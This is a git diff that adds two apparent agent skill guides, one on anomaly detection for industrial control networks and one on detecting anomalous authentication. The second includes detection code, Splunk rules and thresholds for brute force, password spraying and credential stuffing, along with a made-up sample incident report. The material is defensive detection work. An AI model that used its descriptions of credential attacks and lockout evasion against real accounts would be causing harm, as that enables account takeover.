+tags: [ot-security, ics, scada, industrial-control, iec62443, anomaly-detection, machine-learning] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Detecting Anomalies in Industrial Control Systems + +## When to Use + +- When deploying continuous monitoring for OT environments that lack intrusion detection +- When building behavior-based detection to complement signature-based IDS in OT networks +- When establishing baselines for deterministic SCADA communications to detect deviations +- When integrating machine learning anomaly detection with OT security monitoring platforms +- When investigating alerts from Nozomi Guardian or Dragos Platform that require deeper analysis + +**Do not use** for signature-based detection of known exploits (see detecting-attacks-on-scada-systems), for IT network anomaly detection without OT protocols, or as a replacement for process safety systems (SIS). + +## Prerequisites + +- Passive network monitoring sensors on OT network SPAN/TAP ports +- Minimum 2-4 weeks of baseline traffic capture during normal operations +- Python 3.9+ with scikit-learn, numpy, pandas for ML model training +- Process historian access for physical process correlation data +- Understanding of normal operational patterns including shift changes, batch processes, and maintenance windows + +## Workflow + +### Step 1: Build Multi-Dimensional Baseline Model + +Capture and model the deterministic behavior of ICS communications across multiple dimensions: timing, protocol behavior, and network topology. + +```python +#!/usr/bin/env python3 +"""ICS Anomaly Detection System. + +Builds multi-dimensional baselines from OT network traffic and +detects anomalies using statistical and machine learning methods. +Designed for deterministic SCADA communication patterns. +""" + +import json +import sys +import time +import warnings +from collections import defaultdict +from datetime import datetime, timedelta +from dataclasses import dataclass, field + +import numpy as np +import pandas as pd +from sklearn.ensemble import IsolationForest +from sklearn.preprocessing import StandardScaler + +warnings.filterwarnings("ignore") + + +@dataclass +class CommunicationProfile: + """Profile for a single master-slave communication pair.""" + src_ip: str + dst_ip: str + protocol: str + port: int + avg_interval_ms: float = 0.0 + std_interval_ms: float = 0.0 + avg_payload_size: float = 0.0 + function_codes: dict = field(default_factory=dict) + packets_per_minute: float = 0.0 + first_seen: str = "" + last_seen: str = "" + + +class ICSAnomalyDetector: + """Multi-dimensional anomaly detection for ICS environments.""" + + def __init__(self): + self.profiles = {} + self.topology_baseline = set() + self.timing_model = None + self.isolation_forest = None + self.scaler = StandardScaler() + self.anomalies = [] + self.training_data = [] + + def build_baseline_from_pcap(self, pcap_data): + """Build baselines from parsed pcap data (list of flow records).""" + print("[*] Building ICS communication baselines...") + + for flow in pcap_data: + key = f"{flow['src']}->{flow['dst']}:{flow['port']}" + + if key not in self.profiles: + self.profiles[key] = CommunicationProfile( + src_ip=flow["src"], + dst_ip=flow["dst"], + protocol=flow.get("protocol", "TCP"), + port=flow["port"], + first_seen=flow.get("timestamp", ""), + ) + + profile = self.profiles[key] + profile.last_seen = flow.get("timestamp", "") + + # Track function codes for industrial protocols + fc = flow.get("function_code") + if fc is not None: + profile.function_codes[fc] = profile.function_codes.get(fc, 0) + 1 + + # Add to topology baseline + self.topology_baseline.add((flow["src"], flow["dst"], flow["port"])) + + # Calculate interval statistics + self._calculate_timing_stats(pcap_data) + + print(f" Communication pairs: {len(self.profiles)}") + print(f" Topology entries: {len(self.topology_baseline)}") + + def _calculate_timing_stats(self, flows): + """Calculate packet timing statistics per communication pair.""" + timestamps = defaultdict(list) + for flow in flows: + key = f"{flow['src']}->{flow['dst']}:{flow['port']}" + ts = flow.get("timestamp_epoch") + if ts: + timestamps[key].append(ts) + + for key, ts_list in timestamps.items(): + if key in self.profiles and len(ts_list) > 1: + ts_sorted = sorted(ts_list) + intervals = [ + (ts_sorted[i+1] - ts_sorted[i]) * 1000 + for i in range(len(ts_sorted) - 1) + ] + self.profiles[key].avg_interval_ms = np.mean(intervals) + self.profiles[key].std_interval_ms = np.std(intervals) + duration_min = (ts_sorted[-1] - ts_sorted[0]) / 60 + if duration_min > 0: + self.profiles[key].packets_per_minute = len(ts_list) / duration_min + + def train_isolation_forest(self, features_df): + """Train Isolation Forest model on feature vectors from baseline traffic.""" + print("[*] Training Isolation Forest model...") + + feature_cols = [ + "interval_ms", "payload_size", "packets_per_window", + "unique_func_codes", "new_connection_flag", + ] + + available_cols = [c for c in feature_cols if c in features_df.columns] + X = features_df[available_cols].fillna(0).values + + X_scaled = self.scaler.fit_transform(X) + + self.isolation_forest = IsolationForest( + n_estimators=200, + contamination=0.01, # Expect 1% anomaly rate in baseline + random_state=42, + n_jobs=-1, + ) + self.isolation_forest.fit(X_scaled) + + scores = self.isolation_forest.decision_function(X_scaled) + print(f" Model trained on {len(X)} samples") + print(f" Anomaly score range: [{scores.min():.4f}, {scores.max():.4f}]") + print(f" Threshold: {np.percentile(scores, 1):.4f}") + + def detect_topology_anomaly(self, src_ip, dst_ip, port): + """Detect new/unauthorized communication pairs.""" + if (src_ip, dst_ip, port) not in self.topology_baseline: + return { + "type": "NEW_COMMUNICATION_PAIR", + "severity": "high", + "detail": f"New connection: {src_ip} -> {dst_ip}:{port} not in baseline", + "recommendation": "Verify if this is an authorized new device or configuration change", + } + return None + + def detect_timing_anomaly(self, src_ip, dst_ip, port, interval_ms): + """Detect polling interval deviations.""" + key = f"{src_ip}->{dst_ip}:{port}" + profile = self.profiles.get(key) + + if profile and profile.std_interval_ms > 0: + z_score = abs(interval_ms - profile.avg_interval_ms) / profile.std_interval_ms + if z_score > 4.0: + return { + "type": "TIMING_ANOMALY", + "severity": "medium", + "detail": ( + f"Interval {interval_ms:.1f}ms deviates from baseline " + f"{profile.avg_interval_ms:.1f}ms (z-score: {z_score:.1f})" + ), + "recommendation": "Check for network congestion, device malfunction, or MITM attack", + } + return None + + def detect_function_code_anomaly(self, src_ip, dst_ip, port, func_code): + """Detect unauthorized Modbus/DNP3 function codes.""" + key = f"{src_ip}->{dst_ip}:{port}" + profile = self.profiles.get(key) + + if profile and func_code not in profile.function_codes: + severity = "critical" if func_code in {5, 6, 15, 16, 8} else "high" + return { + "type": "UNAUTHORIZED_FUNCTION_CODE", + "severity": severity, + "detail": ( + f"Function code {func_code} from {src_ip} to {dst_ip}:{port} " + f"not in baseline. Allowed: {list(profile.function_codes.keys())}" + ), + "recommendation": "Investigate source - possible command injection attack", + } + return None + + def analyze_flow(self, flow): + """Analyze a single network flow against all detection models.""" + results = [] + + # Topology check + topo = self.detect_topology_anomaly(flow["src"], flow["dst"], flow["port"]) + if topo: + results.append(topo) + + # Timing check + if "interval_ms" in flow: + timing = self.detect_timing_anomaly( + flow["src"], flow["dst"], flow["port"], flow["interval_ms"]) + if timing: + results.append(timing) + + # Function code check + if "function_code" in flow: + fc = self.detect_function_code_anomaly( + flow["src"], flow["dst"], flow["port"], flow["function_code"]) + if fc: + results.append(fc) + + self.anomalies.extend(results) + return results + + def generate_report(self): + """Generate anomaly detection report.""" + print(f"\n{'='*60}") + print(f"ICS ANOMALY DETECTION REPORT") + print(f"{'='*60}") + print(f"Baseline Profiles: {len(self.profiles)}") + print(f"Anomalies Detected: {len(self.anomalies)}") + + severity_counts = defaultdict(int) + for a in self.anomalies: + severity_counts[a["severity"]] += 1 + + for sev in ["critical", "high", "medium", "low"]: + if severity_counts[sev]: + print(f" {sev.upper()}: {severity_counts[sev]}") + + for a in self.anomalies[:20]: + print(f"\n [{a['severity'].upper()}] {a['type']}") + print(f" {a['detail']}") + + +if __name__ == "__main__": + print("ICS Anomaly Detection System") + print("Load baseline data and call analyze_flow() for real-time detection") +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| Deterministic Traffic | ICS networks exhibit highly predictable communication patterns where the same master polls the same slaves at fixed intervals with identical function codes | +| Isolation Forest | Unsupervised machine learning algorithm that isolates anomalies by randomly partitioning feature space, effective for OT traffic with low anomaly rates | +| Polling Interval | Time between consecutive SCADA master requests to a slave device, typically fixed and configurable (100ms to 10s) | +| Function Code Allowlist | Set of permitted industrial protocol operations for each communication pair, enforced by anomaly detection rules | +| Topology Baseline | Complete map of all authorized device-to-device communication paths in the OT network | +| Physics-Based Detection | Using physical process models (thermodynamics, fluid dynamics) to detect attacks that manipulate the process while spoofing sensor data | + +## Tools & Systems + +- **Nozomi Networks Guardian**: OT anomaly detection with AI-powered baseline learning and industrial protocol analysis +- **Dragos Platform**: Threat detection using behavioral analytics and threat intelligence specific to ICS environments +- **Scikit-learn**: Python ML library with Isolation Forest, One-Class SVM, and Local Outlier Factor for anomaly detection +- **Zeek with OT plugins**: Network security monitor with Modbus, DNP3, and BACnet protocol analyzers for baseline building + +## Output Format + +``` +ICS Anomaly Detection Report +============================== +Detection Period: YYYY-MM-DD to YYYY-MM-DD +Baseline Size: [N] communication profiles + +ANOMALIES DETECTED: [N] + Critical: [N] High: [N] Medium: [N] Low: [N] + +[SEVERITY] ANOMALY_TYPE + Source: [IP] -> Target: [IP]:[Port] + Detail: [Description of deviation from baseline] + Baseline: [Expected behavior] + Observed: [Actual behavior] +``` diff --git a/skills/detecting-anomalous-authentication-patterns/SKILL.md b/skills/detecting-anomalous-authentication-patterns/SKILL.md new file mode 100644 index 00000000..7a010ba3 --- /dev/null +++ b/skills/detecting-anomalous-authentication-patterns/SKILL.md @@ -0,0 +1,706 @@ +--- +name: detecting-anomalous-authentication-patterns +description: > + Detects anomalous authentication patterns using UEBA analytics, statistical baselines, + and machine learning models to identify impossible travel, credential stuffing, brute force, + password spraying, and compromised account behaviors across authentication logs. + Activates for requests involving authentication anomaly detection, login behavior analysis, + UEBA implementation, or suspicious sign-in investigation. +domain: cybersecurity +subdomain: identity-access-management +tags: [UEBA, authentication-anomaly, impossible-travel, brute-force, credential-stuffing, behavioral-analytics] +version: "1.0" +author: mahipal +license: MIT +--- + +# Detecting Anomalous Authentication Patterns + +## When to Use + +- Security operations needs to identify compromised accounts from authentication log analysis +- Implementing impossible travel detection to flag geographically inconsistent logins +- Detecting brute force, password spraying, and credential stuffing attacks in real time +- Building behavioral baselines for users to identify deviations indicating account compromise +- Correlating authentication anomalies with threat intelligence for lateral movement detection +- Investigating alerts from SIEM or IdP for suspicious sign-in activity + +**Do not use** for static rule-based alerting on single failed logins; anomaly detection requires statistical baselines across time and entity dimensions to reduce false positives. + +## Prerequisites + +- Authentication log sources (Azure AD/Entra ID sign-in logs, Okta system logs, Active Directory event logs 4624/4625/4648/4768/4771) +- SIEM platform (Splunk, Microsoft Sentinel, Elastic SIEM) with at least 90 days of baseline data +- GeoIP database for location-based anomaly detection (MaxMind GeoLite2 or IP2Location) +- Python 3.9+ with pandas, scikit-learn, and scipy for custom analytics +- User identity context (department, role, typical work hours, location) + +## Workflow + +### Step 1: Collect and Normalize Authentication Logs + +Aggregate authentication events from all identity sources: + +```python +import pandas as pd +import json +from datetime import datetime, timedelta +from collections import defaultdict + +# Parse authentication logs from multiple sources +def normalize_auth_logs(log_source, raw_logs): + """Normalize authentication events to a common schema.""" + normalized = [] + + for event in raw_logs: + if log_source == "azure_ad": + normalized.append({ + "timestamp": event["createdDateTime"], + "user": event["userPrincipalName"], + "source_ip": event["ipAddress"], + "location": { + "city": event.get("location", {}).get("city"), + "state": event.get("location", {}).get("state"), + "country": event.get("location", {}).get("countryOrRegion"), + "lat": event.get("location", {}).get("geoCoordinates", {}).get("latitude"), + "lon": event.get("location", {}).get("geoCoordinates", {}).get("longitude") + }, + "result": "success" if event["status"]["errorCode"] == 0 else "failure", + "failure_reason": event["status"].get("failureReason", ""), + "app": event.get("appDisplayName", "Unknown"), + "device": event.get("deviceDetail", {}).get("operatingSystem", "Unknown"), + "browser": event.get("deviceDetail", {}).get("browser", "Unknown"), + "mfa_result": event.get("authenticationDetails", [{}])[0].get("succeeded", None), + "risk_level": event.get("riskLevelDuringSignIn", "none"), + "client_app": event.get("clientAppUsed", "Unknown"), + "source": "azure_ad" + }) + elif log_source == "okta": + normalized.append({ + "timestamp": event["published"], + "user": event["actor"]["alternateId"], + "source_ip": event["client"]["ipAddress"], + "location": { + "city": event["client"].get("geographicalContext", {}).get("city"), + "state": event["client"].get("geographicalContext", {}).get("state"), + "country": event["client"].get("geographicalContext", {}).get("country"), + "lat": event["client"].get("geographicalContext", {}).get("geolocation", {}).get("lat"), + "lon": event["client"].get("geographicalContext", {}).get("geolocation", {}).get("lon") + }, + "result": "success" if event["outcome"]["result"] == "SUCCESS" else "failure", + "failure_reason": event["outcome"].get("reason", ""), + "app": event.get("target", [{}])[0].get("displayName", "Unknown"), + "device": event["client"].get("device", "Unknown"), + "browser": event["client"].get("userAgent", {}).get("browser", "Unknown"), + "source": "okta" + }) + elif log_source == "windows_ad": + normalized.append({ + "timestamp": event["TimeCreated"], + "user": event["TargetUserName"], + "source_ip": event.get("IpAddress", ""), + "location": None, # Requires GeoIP enrichment + "result": "success" if event["EventId"] in [4624, 4648] else "failure", + "failure_reason": event.get("FailureReason", ""), + "logon_type": event.get("LogonType", ""), + "source": "windows_ad" + }) + + return pd.DataFrame(normalized) + +# Enrich with GeoIP data for Windows AD logs missing location +import geoip2.database + +def enrich_geoip(df, geoip_db_path="/opt/geoip/GeoLite2-City.mmdb"): + """Add geolocation data to events missing location information.""" + reader = geoip2.database.Reader(geoip_db_path) + + for idx, row in df.iterrows(): + if row["location"] is None and row["source_ip"]: + try: + response = reader.city(row["source_ip"]) + df.at[idx, "location"] = { + "city": response.city.name, + "country": response.country.iso_code, + "lat": response.location.latitude, + "lon": response.location.longitude + } + except Exception: + pass + + reader.close() + return df +``` + +### Step 2: Detect Impossible Travel Anomalies + +Identify logins from geographically impossible locations: + +```python +from math import radians, sin, cos, sqrt, atan2 +from datetime import datetime + +def haversine_distance(lat1, lon1, lat2, lon2): + """Calculate great-circle distance between two points in km.""" + R = 6371 # Earth's radius in kilometers + + lat1, lon1, lat2, lon2 = map(radians, [lat1, lon1, lat2, lon2]) + dlat = lat2 - lat1 + dlon = lon2 - lon1 + + a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2 + c = 2 * atan2(sqrt(a), sqrt(1-a)) + + return R * c + +def detect_impossible_travel(df, max_speed_kmh=900): + """ + Detect impossible travel events where a user authenticates from + two locations faster than physically possible. + + max_speed_kmh: Maximum realistic travel speed (900 km/h ~= commercial flight) + """ + alerts = [] + + # Sort by user and timestamp + df_sorted = df.sort_values(["user", "timestamp"]) + + for user, user_events in df_sorted.groupby("user"): + successful_events = user_events[user_events["result"] == "success"] + + for i in range(1, len(successful_events)): + prev = successful_events.iloc[i-1] + curr = successful_events.iloc[i] + + # Skip if location data is missing + if not prev.get("location") or not curr.get("location"): + continue + if not prev["location"].get("lat") or not curr["location"].get("lat"): + continue + + # Calculate distance and time delta + distance_km = haversine_distance( + prev["location"]["lat"], prev["location"]["lon"], + curr["location"]["lat"], curr["location"]["lon"] + ) + + time_diff = (pd.Timestamp(curr["timestamp"]) - + pd.Timestamp(prev["timestamp"])).total_seconds() / 3600 + + if time_diff <= 0: + continue + + required_speed = distance_km / time_diff + + # Flag if required speed exceeds maximum realistic travel + if required_speed > max_speed_kmh and distance_km > 100: + alerts.append({ + "alert_type": "IMPOSSIBLE_TRAVEL", + "severity": "HIGH", + "user": user, + "timestamp": curr["timestamp"], + "details": { + "location_1": f"{prev['location']['city']}, {prev['location']['country']}", + "location_2": f"{curr['location']['city']}, {curr['location']['country']}", + "time_1": prev["timestamp"], + "time_2": curr["timestamp"], + "distance_km": round(distance_km, 1), + "time_hours": round(time_diff, 2), + "required_speed_kmh": round(required_speed, 1), + "source_ip_1": prev["source_ip"], + "source_ip_2": curr["source_ip"] + } + }) + + return alerts + +# Run impossible travel detection +travel_alerts = detect_impossible_travel(auth_df) +print(f"Impossible travel alerts: {len(travel_alerts)}") +for alert in travel_alerts: + print(f" [{alert['severity']}] {alert['user']}: " + f"{alert['details']['location_1']} -> {alert['details']['location_2']} " + f"({alert['details']['distance_km']} km in {alert['details']['time_hours']}h)") +``` + +### Step 3: Detect Brute Force and Password Spraying + +Identify credential attack patterns across authentication logs: + +```python +from collections import Counter + +def detect_brute_force(df, threshold_failures=10, window_minutes=10): + """ + Detect brute force attacks: many failed attempts against + a single account in a short time window. + """ + alerts = [] + failed = df[df["result"] == "failure"].copy() + failed["timestamp"] = pd.to_datetime(failed["timestamp"]) + + for user, user_fails in failed.groupby("user"): + user_fails_sorted = user_fails.sort_values("timestamp") + + # Sliding window analysis + for i, row in user_fails_sorted.iterrows(): + window_start = row["timestamp"] + window_end = window_start + timedelta(minutes=window_minutes) + + window_events = user_fails_sorted[ + (user_fails_sorted["timestamp"] >= window_start) & + (user_fails_sorted["timestamp"] <= window_end) + ] + + if len(window_events) >= threshold_failures: + source_ips = window_events["source_ip"].unique() + alerts.append({ + "alert_type": "BRUTE_FORCE", + "severity": "HIGH", + "user": user, + "timestamp": str(window_start), + "details": { + "failed_attempts": len(window_events), + "window_minutes": window_minutes, + "source_ips": list(source_ips), + "distributed": len(source_ips) > 1, + "failure_reasons": dict(Counter(window_events["failure_reason"])) + } + }) + break # One alert per user per detection pass + + return alerts + +def detect_password_spray(df, threshold_users=10, window_minutes=30): + """ + Detect password spraying: failed logins against many different + accounts from the same source in a short window (1-2 attempts per user). + """ + alerts = [] + failed = df[df["result"] == "failure"].copy() + failed["timestamp"] = pd.to_datetime(failed["timestamp"]) + + for source_ip, ip_events in failed.groupby("source_ip"): + ip_events_sorted = ip_events.sort_values("timestamp") + + for i, row in ip_events_sorted.iterrows(): + window_start = row["timestamp"] + window_end = window_start + timedelta(minutes=window_minutes) + + window_events = ip_events_sorted[ + (ip_events_sorted["timestamp"] >= window_start) & + (ip_events_sorted["timestamp"] <= window_end) + ] + + unique_users = window_events["user"].nunique() + attempts_per_user = len(window_events) / unique_users if unique_users > 0 else 0 + + # Password spray: many users targeted, few attempts per user + if unique_users >= threshold_users and attempts_per_user <= 3: + # Check if any succeeded (compromised account) + success_after = df[ + (df["source_ip"] == source_ip) & + (df["result"] == "success") & + (pd.to_datetime(df["timestamp"]) > window_start) & + (pd.to_datetime(df["timestamp"]) < window_end + timedelta(hours=1)) + ] + + alerts.append({ + "alert_type": "PASSWORD_SPRAY", + "severity": "CRITICAL" if len(success_after) > 0 else "HIGH", + "timestamp": str(window_start), + "details": { + "source_ip": source_ip, + "targeted_users": unique_users, + "total_attempts": len(window_events), + "avg_attempts_per_user": round(attempts_per_user, 1), + "window_minutes": window_minutes, + "successful_logins_after": len(success_after), + "compromised_accounts": list(success_after["user"].unique()) if len(success_after) > 0 else [] + } + }) + break + + return alerts + +# Run detections +brute_force_alerts = detect_brute_force(auth_df) +spray_alerts = detect_password_spray(auth_df) +print(f"Brute force alerts: {len(brute_force_alerts)}") +print(f"Password spray alerts: {len(spray_alerts)}") +``` + +### Step 4: Build Behavioral Baselines and Detect Deviations + +Create user behavioral profiles and flag statistical anomalies: + +```python +import numpy as np +from scipy import stats +from sklearn.ensemble import IsolationForest + +def build_user_baseline(df, user, lookback_days=90): + """Build behavioral baseline for a specific user.""" + user_events = df[df["user"] == user].copy() + user_events["timestamp"] = pd.to_datetime(user_events["timestamp"]) + user_events["hour"] = user_events["timestamp"].dt.hour + user_events["day_of_week"] = user_events["timestamp"].dt.dayofweek + + baseline = { + "user": user, + "typical_hours": { + "start": int(user_events["hour"].quantile(0.05)), + "end": int(user_events["hour"].quantile(0.95)), + "mean": float(user_events["hour"].mean()), + "std": float(user_events["hour"].std()) + }, + "typical_days": list(user_events["day_of_week"].mode().values), + "typical_ips": list(user_events["source_ip"].value_counts().head(10).index), + "typical_locations": list( + user_events["location"].apply( + lambda x: x.get("country") if isinstance(x, dict) else None + ).dropna().value_counts().head(5).index + ), + "typical_apps": list(user_events["app"].value_counts().head(10).index), + "typical_devices": list(user_events["device"].value_counts().head(5).index), + "avg_daily_logins": float( + user_events.groupby(user_events["timestamp"].dt.date).size().mean() + ), + "std_daily_logins": float( + user_events.groupby(user_events["timestamp"].dt.date).size().std() + ), + "failure_rate": float( + (user_events["result"] == "failure").mean() + ) + } + + return baseline + +def detect_behavioral_anomalies(event, baseline): + """Compare a new authentication event against user baseline.""" + anomalies = [] + event_time = pd.Timestamp(event["timestamp"]) + + # Off-hours login detection + hour = event_time.hour + if baseline["typical_hours"]["std"] > 0: + z_score = abs(hour - baseline["typical_hours"]["mean"]) / baseline["typical_hours"]["std"] + if z_score > 2.5: + anomalies.append({ + "type": "OFF_HOURS_LOGIN", + "severity": "MEDIUM", + "detail": f"Login at {hour}:00 (baseline: {baseline['typical_hours']['start']}:00-{baseline['typical_hours']['end']}:00)", + "z_score": round(z_score, 2) + }) + + # New source IP + if event["source_ip"] not in baseline["typical_ips"]: + anomalies.append({ + "type": "NEW_SOURCE_IP", + "severity": "MEDIUM", + "detail": f"Login from unknown IP: {event['source_ip']}" + }) + + # New country + if event.get("location") and isinstance(event["location"], dict): + country = event["location"].get("country") + if country and country not in baseline["typical_locations"]: + anomalies.append({ + "type": "NEW_COUNTRY", + "severity": "HIGH", + "detail": f"Login from new country: {country}" + }) + + # New application + if event.get("app") and event["app"] not in baseline["typical_apps"]: + anomalies.append({ + "type": "NEW_APPLICATION", + "severity": "LOW", + "detail": f"Access to new application: {event['app']}" + }) + + # New device + if event.get("device") and event["device"] not in baseline["typical_devices"]: + anomalies.append({ + "type": "NEW_DEVICE", + "severity": "MEDIUM", + "detail": f"Login from new device: {event['device']}" + }) + + # Weekend login for weekday-only users + if event_time.dayofweek >= 5 and 5 not in baseline["typical_days"] and 6 not in baseline["typical_days"]: + anomalies.append({ + "type": "WEEKEND_LOGIN", + "severity": "LOW", + "detail": f"Weekend login detected (typical days: {baseline['typical_days']})" + }) + + return anomalies + +def isolation_forest_anomaly_detection(df): + """Use Isolation Forest for multivariate anomaly detection.""" + # Feature engineering + features_df = df.copy() + features_df["timestamp"] = pd.to_datetime(features_df["timestamp"]) + features_df["hour"] = features_df["timestamp"].dt.hour + features_df["day_of_week"] = features_df["timestamp"].dt.dayofweek + features_df["is_failure"] = (features_df["result"] == "failure").astype(int) + + # Encode categorical features + features_df["ip_frequency"] = features_df.groupby("source_ip")["source_ip"].transform("count") + features_df["user_frequency"] = features_df.groupby("user")["user"].transform("count") + + feature_columns = ["hour", "day_of_week", "is_failure", "ip_frequency", "user_frequency"] + X = features_df[feature_columns].fillna(0) + + # Train Isolation Forest + model = IsolationForest( + n_estimators=200, + contamination=0.01, # Expect 1% anomaly rate + random_state=42, + n_jobs=-1 + ) + features_df["anomaly_score"] = model.fit_predict(X) + features_df["anomaly_probability"] = model.score_samples(X) + + # Extract anomalies (labeled as -1) + anomalies = features_df[features_df["anomaly_score"] == -1] + + return anomalies.sort_values("anomaly_probability") +``` + +### Step 5: Implement SIEM Detection Rules + +Deploy detection rules for common authentication attack patterns: + +```yaml +# Splunk SPL queries for authentication anomaly detection + +# 1. Brute Force Detection +# name: Authentication Brute Force - Multiple Failed Logins +# severity: high +brute_force_spl: | + index=auth sourcetype IN ("azure:aad:signin", "okta:im:log", "WinEventLog:Security") + (result="failure" OR EventCode=4625) + | bin _time span=10m + | stats count as failed_attempts dc(src_ip) as unique_ips + values(src_ip) as source_ips + latest(_time) as last_attempt + by user _time + | where failed_attempts >= 10 + | eval alert_type=if(unique_ips > 3, "Distributed Brute Force", "Standard Brute Force") + +# 2. Password Spray Detection +# name: Password Spray Attack - Multiple Users Same Source +# severity: critical +password_spray_spl: | + index=auth sourcetype IN ("azure:aad:signin", "okta:im:log") + result="failure" + | bin _time span=30m + | stats dc(user) as targeted_users count as total_attempts + values(user) as users_targeted + by src_ip _time + | where targeted_users >= 10 + | eval attempts_per_user = round(total_attempts / targeted_users, 1) + | where attempts_per_user <= 3 + | eval severity=if(targeted_users > 50, "CRITICAL", "HIGH") + +# 3. Impossible Travel Detection +# name: Impossible Travel - Geographically Inconsistent Logins +# severity: high +impossible_travel_spl: | + index=auth result="success" + | iplocation src_ip + | sort user _time + | streamstats current=f last(lat) as prev_lat last(lon) as prev_lon + last(_time) as prev_time last(City) as prev_city last(Country) as prev_country + by user + | where isnotnull(prev_lat) AND isnotnull(lat) + | eval distance_km = 6371 * 2 * asin(sqrt( + pow(sin((lat - prev_lat) * pi() / 360), 2) + + cos(prev_lat * pi() / 180) * cos(lat * pi() / 180) * + pow(sin((lon - prev_lon) * pi() / 360), 2))) + | eval time_hours = (_time - prev_time) / 3600 + | eval required_speed = distance_km / time_hours + | where required_speed > 900 AND distance_km > 100 + +# 4. Credential Stuffing Detection +# name: Credential Stuffing - High Volume Failed Logins with Some Successes +# severity: critical +credential_stuffing_spl: | + index=auth + | bin _time span=1h + | stats count(eval(result="failure")) as failures + count(eval(result="success")) as successes + dc(user) as unique_users + dc(src_ip) as unique_ips + by src_ip _time + | where failures > 100 AND successes > 0 AND unique_users > 20 + | eval success_rate = round(successes / (failures + successes) * 100, 2) + | where success_rate < 5 +``` + +### Step 6: Correlate and Score Authentication Anomalies + +Combine multiple detection signals into risk scores: + +```python +def calculate_auth_risk_score(user, alerts, baseline): + """ + Calculate composite risk score for authentication events. + Combines multiple anomaly signals with weighted scoring. + """ + score = 0 + risk_factors = [] + + weights = { + "IMPOSSIBLE_TRAVEL": 40, + "PASSWORD_SPRAY": 35, + "BRUTE_FORCE": 30, + "CREDENTIAL_STUFFING": 35, + "NEW_COUNTRY": 25, + "OFF_HOURS_LOGIN": 15, + "NEW_SOURCE_IP": 10, + "NEW_DEVICE": 10, + "NEW_APPLICATION": 5, + "WEEKEND_LOGIN": 5, + "MFA_BYPASS": 45, + "LEGACY_PROTOCOL": 20 + } + + for alert in alerts: + alert_type = alert.get("type") or alert.get("alert_type") + weight = weights.get(alert_type, 10) + + # Adjust weight based on severity + severity_multiplier = { + "CRITICAL": 2.0, + "HIGH": 1.5, + "MEDIUM": 1.0, + "LOW": 0.5 + } + severity = alert.get("severity", "MEDIUM") + adjusted_weight = weight * severity_multiplier.get(severity, 1.0) + + score += adjusted_weight + risk_factors.append({ + "factor": alert_type, + "weight": adjusted_weight, + "detail": alert.get("detail", alert.get("details", "")) + }) + + # Normalize score to 0-100 + normalized_score = min(100, score) + + # Determine risk level + if normalized_score >= 80: + risk_level = "CRITICAL" + recommended_action = "Immediate account suspension and investigation" + elif normalized_score >= 60: + risk_level = "HIGH" + recommended_action = "Force MFA re-enrollment and notify SOC" + elif normalized_score >= 40: + risk_level = "MEDIUM" + recommended_action = "Require step-up authentication" + elif normalized_score >= 20: + risk_level = "LOW" + recommended_action = "Monitor and log for trend analysis" + else: + risk_level = "INFORMATIONAL" + recommended_action = "No action required" + + return { + "user": user, + "risk_score": normalized_score, + "risk_level": risk_level, + "recommended_action": recommended_action, + "risk_factors": sorted(risk_factors, key=lambda x: x["weight"], reverse=True), + "timestamp": datetime.utcnow().isoformat() + } +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Impossible Travel** | Authentication anomaly where a user logs in from two geographically distant locations within a timeframe that makes physical travel impossible | +| **Password Spraying** | Credential attack that tries a small number of commonly used passwords against many accounts to avoid lockout thresholds | +| **Credential Stuffing** | Automated attack using stolen username/password pairs from data breaches to gain unauthorized access to accounts | +| **UEBA** | User and Entity Behavior Analytics technology that builds behavioral baselines and detects deviations using machine learning and statistical analysis | +| **Behavioral Baseline** | Statistical profile of a user's normal authentication patterns including typical hours, locations, devices, and applications | +| **Isolation Forest** | Unsupervised machine learning algorithm that detects anomalies by isolating observations that differ from the majority of data points | +| **Risk Score** | Composite numerical value aggregating multiple anomaly signals with weighted scoring to prioritize authentication threats | + +## Tools & Systems + +- **Microsoft Sentinel UEBA**: Cloud-native SIEM with built-in entity behavior analytics for Azure AD and multi-cloud authentication anomaly detection +- **Exabeam Advanced Analytics**: UEBA platform using machine learning for user session analysis and automated threat timeline construction +- **Splunk UBA**: Behavioral analytics add-on for Splunk providing pre-built authentication anomaly models and risk scoring +- **Elastic SIEM ML Jobs**: Machine learning anomaly detection jobs for authentication log analysis in the Elastic Stack + +## Common Scenarios + +### Scenario: Detecting Compromised Executive Account After Password Spray + +**Context**: SOC observes a spike in failed authentication attempts from a cloud VPS IP address targeting 200+ accounts. Two hours later, an executive account shows successful authentication from the same IP range followed by mailbox rule creation and data exfiltration. + +**Approach**: +1. Run password spray detection across the timeframe to identify all targeted accounts +2. Cross-reference targeted accounts with subsequent successful logins from related IP ranges +3. Build behavioral baseline for the executive account and flag all deviations +4. Check for impossible travel between the executive's last legitimate login and the attacker's session +5. Identify post-compromise activity: mailbox rules, file downloads, delegated access changes +6. Calculate composite risk score combining password spray, new IP, off-hours login, and new device signals +7. Trigger automated response: force session termination, disable account, notify manager + +**Pitfalls**: +- Relying on single-signal detection (failed logins only) misses successful spray results +- Not correlating across identity providers when users have accounts in multiple IdPs +- Static thresholds that do not account for legitimate VPN IP changes or travel +- Ignoring successful authentications after the spray window closes (attackers may wait before using credentials) + +## Output Format + +``` +AUTHENTICATION ANOMALY DETECTION REPORT +========================================= +Analysis Period: 2026-02-01 to 2026-02-24 +Total Auth Events: 2,847,392 +Users Monitored: 3,847 +Alert Sources: Azure AD, Okta, Windows AD + +THREAT DETECTION SUMMARY +Password Spray Attacks: 3 +Brute Force Attacks: 12 +Impossible Travel: 8 +Credential Stuffing: 1 +Behavioral Anomalies: 47 + +HIGH-RISK ACCOUNTS +[CRITICAL] j.smith@corp.com Score: 92 + - Impossible travel: Chicago -> Moscow (7,876 km in 0.5h) + - Password spray target followed by successful login + - New device and browser fingerprint + - Off-hours access to SharePoint and email + Action: Account suspended, SOC investigation initiated + +[HIGH] m.johnson@corp.com Score: 67 + - Login from new country (Brazil) + - New source IP not matching VPN ranges + - Access to HR application outside normal pattern + Action: MFA re-enrollment required, manager notified + +[MEDIUM] a.williams@corp.com Score: 38 + - Weekend login at 03:00 UTC + - New device (Linux, typically Windows user) + Action: Step-up authentication applied + +ATTACK CAMPAIGN DETAILS +Password Spray Campaign #1: + Source: 185.220.101.x/24 (Tor exit node) + Targeted Users: 247 + Success Rate: 0.8% (2 accounts compromised) + Compromised: j.smith@corp.com, r.davis@corp.com + Duration: 45 minutes + Pattern: 2 attempts per user, 3-second interval +``` diff --git 